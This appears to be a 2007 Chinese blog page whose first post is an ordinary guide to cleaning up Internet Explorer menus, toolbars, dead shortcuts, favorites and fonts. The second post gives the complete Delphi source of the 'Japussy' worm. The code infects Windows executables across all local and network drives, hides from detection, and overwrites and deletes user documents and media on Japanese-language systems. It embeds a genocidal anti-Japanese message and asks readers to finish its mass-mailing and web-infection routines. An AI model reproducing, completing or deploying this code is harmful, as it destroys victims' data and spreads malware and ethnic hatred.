  在浏览器打开的网页窗口中,右击鼠标时,会弹出快捷菜单,从中,我们可以快速地进行诸如文件下载、图片保存等很多项操作。但是,现在很多程序只要安装到系统中,便自作主张地在IE右键菜单中添加相关的项目。长此以往,IE右键菜单不仅会变得很臃肿,而且会使弹出右键菜单的时间越来越长,影响系统的运行。因此,清理不需要的右键菜单项,十分有必要。

  首先启动IE浏览器,然后单击地址栏下面的“上网助手→修复IE→恢复IE外观”,即可打开窗口:要想清理IE右键菜单,我们只要窗口中选择“清理IE右键菜单”选项卡,即可打开新的窗口,中间的列表显示了所有当前IE右键菜单中的项目,如果想清除哪项,只要用鼠标选择它,再单击“立即清理”按钮即可。

  2、清理IE工具栏按钮

  清理IE工具栏按钮的方法与此类似。点击“清理IE工具栏按钮”,进入功能页面:

  中间的列表显示了IE工具栏上可以清除的按钮。只需要点击每项前面的复选框,然后点击“立即清除”,即可去掉被选中的工具栏按钮。

  重新打开一个IE窗口,可以看到被删除的工具栏按钮已经消失了。

  3、清理IE工具条

  由于IE的灵活性,它的工具条也是可以随意添加的,在很多的工具条都想放到IE上的情况下,IE越发变得拥挤不堪了。

  另外,如果加载了超过3个以上的工具条,IE的启动速度就会有所降低。这是因为IE在启动时,会对需要加载的工具条进行初始化,完成一些设置。当只有1、2个工具条时,我们不会有所感觉。而超过3个以上,速度就会明显降低。另外如果工具条的内容还需要从互联网上即时下载下来,那么这个延迟就更明显。所以建议大家最多只加载2个工具条。

  当然,IE也提供了不加载工具条的功能。点击菜单“查看→工具栏”,可以看到IE中已经安装的工具条,其中的“标准按钮”、“地址栏”是最基本的,不应该删除。其他的像“链接”等,没有多少用处,可以不用加载。方法是点击该项,其前面的“勾选”标记消失,而该项代表的工具条,也不再在IE中显示了。不过很显然,由于每去掉一个工具条,就需要刷新一次IE,因此这种操作比较麻烦。

  实际上我们可以用上网助手来完成这个操作。启动IE浏览器,然后单击地址栏下面的“上网助手→修复IE→恢复IE外观”,要想清理IE工具条,我们只要在窗口中选择“清理IE工具条”选项卡,即可打开新的窗口,中间的列表显示了IE工具栏条中可以不加载的项。只需要点击每项前面的复选框,然后点击“立即清除”。重新打开一个IE窗口,可以看到该工具条没有被加载。

  经过上述的清理,相信您的IE一定清爽了许多,而且由于卸掉了一些包袱,轻装上阵,IE的启动速度也快了不少吧!

三、删除无效的快捷方式

  大家都知道,不管是Windows 9x/Me还是加了SP1补丁的Windows XP,用得时间长了,系统中的各种垃圾文件和垃圾信息就会越来越多。而在Windows中还有一种不太为人所知的垃圾,那就是失效的快捷方式,比如已经修改了某个软件(或文件)所在的文件夹,但其快捷方式依然指向原来的位置,或者已经卸载了软件或删除了文件,但相应快捷方式却仍留在“开始→程序”、“开始→文档”、“C:Progeam Files”等处,Windows用得越久,这些垃圾快捷方式越多,Windows也就会变得越来越臃肿,运行效率当然也越来越低了。这时候,你可以使用Windows优化大师进行清理,或使用OrphansRemover这款免费软件(下载地址:http://www.digiarch.org/download/orphansremover.zip)来查找并清除它们。

  下载并安装后,运行OrphansRemover,在软件窗口上方的“Select folders to shortcut orphans:”和“lnclude shortcuts with broken links to:”项下选择要扫描的文件夹及连接到移动存储器、光盘等上的无效快捷方式。而“User defined search folder”文本框中则允许你指定文件夹。最后单击窗口下方的“Start scan”按钮开始扫描,完成扫描后单击“Delete orphans”按钮删除无效快捷方式即可。

  另外,OrphansRemover这款软件还支持命令行参数,比如“ D:program filesorphansremover orphansremover.exe recent startmenu-silent”可以清理“文档”、“开始”菜单中的无效快捷方式,其中“recent”为“文档”、“startmenu”为“开始”菜单,而“-silent”表示后台安静执行。其它参数请参考OrphansRemover安装文件夹manual.html文件的相关说明。

四、清理IE收藏夹

  在网上冲浪时,许多网站因为一时之需而收藏,但因为需求的结束而无用;还有一些网站,因为这样或那样的原因而关闭了,另外还有一些网站,在你访问它的时候,它会自动添加进你的收藏夹……,上网时间久了,收藏夹可是越来越庞大了。如何快速地知道哪些网站地址已经失效,并删除这些无效的网址呢?如果采取以往的逐个链接去检测、清理的方法,肯定是费时费力,有没有更好的办法呢?这时免费的AM-Deadlink软件就派上了用场,它能满足您的需求。

  安装并运行该软件,在出现主窗口的同时会弹出语言选择窗口,在下拉菜单中选择“Chinese_gb”后软件界面变为简体中文,接着按F9键软件开始对收藏夹中的网址进行校验,建议按下工具栏上倒数第二个图标,这样在收藏夹列表窗口下方会出现浏览窗口,双击上面的网址可在此窗口中打开网页,便于进一步的查看。

  对于网址不存在的,AM-Deadlink会在“状态”栏中显示“文件没有发现”,这时先不要点击“收藏夹→删除”,因为很可能是你所收藏的网址是该网站中某个已经删除的页面,而实际上这个网站依然存在,所以请在下方的浏览窗口中单击右侧的锤子图标按钮,在出现的菜单中选择“提高一级”看看是否会出现网站首页,如果发现首页没有问题,可继续选择“以打开的URL地址替换书签内URL”,重新设置网址。如果“提高一级”也不行的话,不用着急,可再选择此菜单中的“搜寻Google”,AM-Deadlink会用网站的名称在Google中搜寻(经测试发现对中文支持不好),让你有机会找到网站的新网址。

  另外,目前不少网站提供了个性化的收藏夹图标,如果你发现自己的收藏夹网址前面没有任何图标,可以按下“Favlcons→检查书签并下载收藏夹图标”,它可以帮助您解决。同时AM-Deadlink软件还具有备份收藏夹功能,它支持将收藏夹备份为ZIP文件,只需点击“备份→Internet Explorer收藏夹(ZIP文件)”即可。

  软件名称:AM-Deadlink、软件版本:2.01、软件大小:779KB、软件性质:免费软件、适用平台:Windows 9x/Me/NT/2000/XP、下载地址:http://www.onlinedown.net/soft/24238.htm

五、清理无用字体

  1、删除无用字体

  在文档处理或美术设计的过程中,为了达到美观或其它的要求,我们可能需要安装并使用一些非系统自带的各种特殊的字体。久而久之,系统里究竟安装了多少种字体恐怕连自己也不太清楚了。实际上字体超过500种时,就会出现问题,比如:字体从应用程序的字体列表中消失以及Windows的启动速度大幅下降。显而易见,过多的字体不仅占用较多的系统资源,还会影响到Windows的整体表现。为了提升系统性能,建议您最好将用不到或者不常用的字体删除。

  要想删除无用或不常用的字体,就要知道哪些字体不能删除。首先宋体不能删除,它是系统默认的中文字体;屏幕字体文件(扩展名为.FON)不能随意删除,否则一些对话框中的文字会变成乱码,甚至会导致Windows 98/Me无法启动;“.SYS”为系统字体,在系统提示信息和图标描述性文字中要用到这些字体,删除后可能会导致系统崩溃;还有一些符号,如Marlett、Windings等字体,也不能随意删除。而且带有这些文字的字体不要删除:Arial、Courier、MS Serif、Tahoma、Verdana、Comic Sans、MS Sans Serif、Symbol、Time New Roman、Impact、Lucida Console、Marlett、Modem、Samall Fonts、Webdings、Windings、Roman、MS-DOS CP437、script、SIMHEI、SimSun&NSimSun、Palatino、Linotype、Microsoft、MS。

  另外,Windows中安装了不少相似字体,在许多情况下是不必要而且几乎不可能全都用到的,因此可以将相似的字体找出来,保留几个最常用的,其他的都可以利用下面的方法移走。

  为了避免错删字体而导致的系统故障,值得推荐的方法是把字体移出“FONTS”文件夹,集中保存在另外的目录,比如“D:fontsback”中。同时要为该文件创建一个快捷方式,并将其放在“开始”菜单或“快速启动”栏上。当使用这些字体时,只需打开该文件夹,然后双击某个字体让其显示在预览窗口,只要预览窗口一打开,字体就装载至内存,而且在任何应用程序的“字体”菜单中都能看到。用户可以使用这种方式载入多种字体,等使用完这些字体后,只要关闭预览窗口即可。

  2、用Font Frenzy清理无用字体

  Font Frenzy是一款免费注册的字体工具,可以列表查看当前系统所安装的所有字体,具有安装和删除字体的功能,也可以从系统字体目录移动不使用的字体到指定文件夹,并能制作一个字体镜像文件,以便以后使用该镜像文件恢复到系统以前所安装的那些字体配置。 如果想删除所有Windows安装后新增的字体,请先关闭所有正在运行的程序,单击工具栏上的“Defrenzy”按钮,接着单击左侧窗格中的“Defrenzy Now”按钮,此时会弹出提示备份的对话框,单击“是”按钮后弹出保存备份的文件夹选择,直接使用默认文件夹,按下“OK”按钮,这时会弹出备份快照名称输入窗口,输入易记忆的名称并单击“OK”按钮,软件会很快地把字体移动到备份文件夹中。如果出现了问题,可直接单击“ReFrenzy”按钮,然后选择之前的备份快照进行恢复。

  当然,你也可以采取手动的方法进行字体移除。首先单击工具栏上的“FrenzySnap”按钮,接着单击“Save Snapshot”按钮保存一个快照,接着单击工具栏上的“FrenzyMan”按钮,在字体列表中勾选不需要的字体(特别是那些安装Office之后的中文字体),然后在左侧窗格中选择“Uninstall & Store Fonts:”,单击“Select”按钮后这些字体便会从Windows的Fonts文件夹中移动到Font Frenzy默认的字体保存文件夹中。怎么样?有了Font Frenzy这个好助手,你再也不会为字体问题而担忧了吧!

posted @ 2007-05-19 00:45 jadmin 阅读(67) | 评论 (0)编辑 收藏

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;                //病毒体的大小
iconoffset = $12eb8;              //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{
headersize = 38912;                //upx压缩过病毒体的大小
iconoffset = $92bc;                //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize      = $2e8;                //pe文件主图标的大小--744字节
icontail      = iconoffset + iconsize; //pe文件主图标的尾部
id          = $44444444;            //感染标记

//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
           'if a country need to be destroyed, it must be japan! ' +
           '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:        startupinfo;
pi:        process_information;
isjap:      boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
     exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
     result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
     sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
     try
       dstream := tfilestream.create(filename, fmcreate);
       try
       sstream.seek(headersize, 0); //跳过头部的病毒部分
       dstream.copyfrom(sstream, sstream.size - headersize);
       finally
       dstream.free;
       end;
     finally
       sstream.free;
     end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
     if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
       exit;
     infected := false;
     ispe      := false;
     srcstream := tfilestream.create(filename, fmopenread);
     try
       for i := 0 to $108 do //检查pe文件头
       begin
       srcstream.seek(i, sofrombeginning);
       srcstream.read(buf, 2);
       if (buf[0] = #80) and (buf[1] = #69) then //pe标记
       begin
         ispe := true; //是pe文件
         break;
       end;
       end;
       srcstream.seek(-4, sofromend); //检查感染标记
       srcstream.read(iid, 4);
       if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
       infected := true;
     finally
       srcstream.free;
     end;
     if infected or (not ispe) then //如果感染过了或不是pe文件则退出
       exit;
     icostream := tmemorystream.create;
     dststream := tmemorystream.create;
     try
       aicon := ticon.create;
       try
       //得到被感染文件的主图标(744字节),存入流
       aicon.releasehandle;
       aicon.handle := extracticon(hinstance, pchar(filename), 0);
       aicon.savetostream(icostream);
       finally
       aicon.free;
       end;
       srcstream := tfilestream.create(filename, fmopenread);
       //头文件
       hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
       try
       //写入病毒体主图标之前的数据
       copystream(hdrstream, 0, dststream, 0, iconoffset);
       //写入目前程序的主图标
       copystream(icostream, 22, dststream, iconoffset, iconsize);
       //写入病毒体主图标到病毒体尾部之间的数据
       copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
       //写入宿主程序
       copystream(srcstream, 0, dststream, headersize, srcstream.size);
       //写入已感染的标记
       dststream.seek(0, 2);
       iid := $44444444;
       dststream.write(iid, 4);
       finally
       hdrstream.free;
       end;
     finally
       srcstream.free;
       icostream.free;
       dststream.savetofile(filename); //替换宿主文件
       dststream.free;
     end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
     setfileattributes(pchar(filename), 0); //去掉只读属性
     filehandle := fileopen(filename, fmopenwrite); //打开文件
     try
       size := getfilesize(filehandle, nil); //文件大小
       i := 0;
       randomize;
       max := random(15); //写入垃圾码的随机次数
       if max < 5 then
       max := 5;
       mass := size div max; //每个间隔块的大小
       len := length(catchword);
       while i < max do
       begin
       fileseek(filehandle, i * mass, 0); //定位
       //写入垃圾码,将文件彻底破坏掉
       filewrite(filehandle, catchword, len);
       inc(i);
       end;
     finally
       fileclose(filehandle); //关闭文件
     end;
     deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
     d := chr(i + 65);
     str := d + ':\';
     disktype := getdrivetype(pchar(str));
     //得到本地磁盘和网络盘
     if (disktype = drive_fixed) or (disktype = drive_remote) then
       result := result + d;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
     if (searchrec.attr <> 16) and (searchrec.name <> '.') and
       (searchrec.name <> '..') then
       result := 0 //不是目录
     else if (searchrec.attr = 16) and (searchrec.name <> '.') and
       (searchrec.name <> '..') then
       result := 1 //不是根目录
     else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
     repeat
       peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
       if isvaliddir(searchrec) = 0 then
       begin
       fn := path + searchrec.name;
       ext := uppercase(extractfileext(fn));
       if (ext = '.exe') or (ext = '.scr') then
       begin
         infectonefile(fn); //感染可执行文件     
       end
       else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
       begin
         //感染html和asp文件,将base64编码后的病毒写入
         //感染浏览此网页的所有用户
         //哪位大兄弟愿意完成之?
       end
       else if ext = '.wab' then //outlook地址簿文件
       begin
         //获取outlook邮件地址
       end
       else if ext = '.adc' then //foxmail地址自动完成文件
       begin
         //获取foxmail邮件地址
       end
       else if ext = 'ind' then //foxmail地址簿文件
       begin
         //获取foxmail邮件地址
       end
       else
       begin
         if isjap then //是倭文操作系统
         begin
           if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
           (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
           (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
           (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
           (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
           (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
             smashfile(fn); //摧毁文件
         end;
       end;
       end;
       //感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
       sleep(200);
     until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
     repeat
       if isvaliddir(searchrec) = 1 then
       subdir.add(searchrec.name);
     until (findnext(searchrec) <> 0);
     end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
     loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
     isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
     for i := len downto 1 do //遍历每个磁盘驱动器
       loopfiles(driverlist + ':\', '*.*'); //感染之
     sendmail; //发带毒邮件
     sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
     registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
     //远程线程映射到explorer进程
     //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
     infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
     tmpfile := paramstr(0); //创建临时文件
     delete(tmpfile, length(tmpfile) - 4, 4);
     tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
     extractfile(tmpfile); //分离之
     fillstartupinfo(si, sw_showdefault);
     createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
       0, nil, '.', si, pi); //创建新进程运行之
     infectfiles; //感染和发邮件
end;
end.

(完)

posted @ 2007-05-18 20:32 jadmin 阅读(59) | 评论 (0)编辑 收藏
仅列出标题
共50页: First 上一页 42 43 44 45 46 47 48 49 50 下一页